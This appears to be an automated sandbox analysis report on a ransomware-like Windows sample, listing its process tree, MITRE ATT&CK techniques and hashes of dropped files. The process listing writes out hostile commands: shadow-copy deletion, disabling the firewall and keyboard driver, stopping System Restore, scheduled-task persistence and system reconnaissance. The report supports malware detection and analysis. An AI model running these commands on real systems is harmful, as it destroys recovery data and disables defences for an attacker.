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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2536
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1440
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:200
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4708
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5628
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5728 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5664
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5672 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5528
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5380
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1684
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2344
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5888
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5496
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5688
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:980
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3324
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5364
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3044
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a20055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:3520
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:5928
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C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe2⤵PID:2620
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C:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\txsync.io_hyber.exe1⤵PID:2664
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5336
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 533091a486eb3ad0483a0785ffb50a85015306410653d3e19b958382cce63cc7
- MD5 d998adec80a315d95eecb814551b638f
- SHA1 4d17da0e4df4e3ee786028a8c78f8e315a69728a
- SHA512 3fbc52387cb007154dc63ce2e5f351954f7ffdbbbb68e02020b67bebe524f1ca55ca5298279abc57a10b70000df4004a1675b9dee2189238dffbc2e580b5051e
- SSDEEP 1536:V2Rveo0zwn1+7cRMa3EJSg5QAtMgIg9JFBJA8ezply9ueJzRBDEI8Ftse8qS4:VgvQzwnA81EJXr3gzpl6uUzRRl8Ftse5
- TLSH T1256329334B23FDC5677B3D80F06439410C883A6747B5A768FBC90AA93DA5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fq4t4ftn.eyr.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 240B
- SHA256 665acd2531f9a0654a3256403b697014b1a3aa47d11cbf53628bbcc45890ad24
- MD5 3e2881de51a8f2609e839597c0e30f54
- SHA1 6bbb9d98f893774fc0a916905ee622e1bdfbf35e
- SHA512 e8c1777797e0b4dc38fd0f47382bc9960f1df999e9f1f87cb2ff8b05eed191a3f179b16af39cad56b26d426e83aaa7101c17c5d3f6cc303bae3d4ef23ad2a9e5
- TLSH T1D5D0A78BB54DC6A90001223B81F3CE8CE9A548A93B57BF705AA5DD4E32D088589F6583
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 241B
- SHA256 809399947a3717d9901b6f86c80e09ef21f5140de6019f0f27ffa770a09e857a
- MD5 01da1abbaa4d4cd384d930b5b5e9301d
- SHA1 ed5b12273fd27d762339ca81cdbceb98e73c0bac
- SHA512 7043762d4a74637c3ab7f4c70d80b106b8b67487e9b01a556d142cd3cc75ccc62c5e3c6e61251a688ac11e85a76cb70ccd559c4dfdbe9c6761e72f84504a3af7
- TLSH T103D0A587B54DC5650001123B41F3CE4CD5D145593F577F705555DD0E32D044545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 7a155d2b15102d198b565122f71f1113decc535201ee0097c9fbf42de8057765
- MD5 27fb0599187f3acb86fb3c3749ade4b3
- SHA1 03a8a8b59f3703b48924ecf27568045e62f3ed9b
- SHA512 79f4a0ad9703162da9679961304323bd7fbe5b2aab7cd6c00b553fb45e22ebb56e445f9b82a3d0825e39cc75161bf9cfbd362ecfbf8b046492de3e69dd2ee7cd
- SSDEEP 1536:12Rveo0zwn1+7cRMa3EJSg5QAtMgIg9JFBJA8ezply9ueJzRBDEI8Ftse8qSB:1gvQzwnA81EJXr3gzpl6uUzRRl8Ftse+
- TLSH T174632A334B23FDC5677B3D80F06439410C883A6747B5A768FBC90A693CA5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH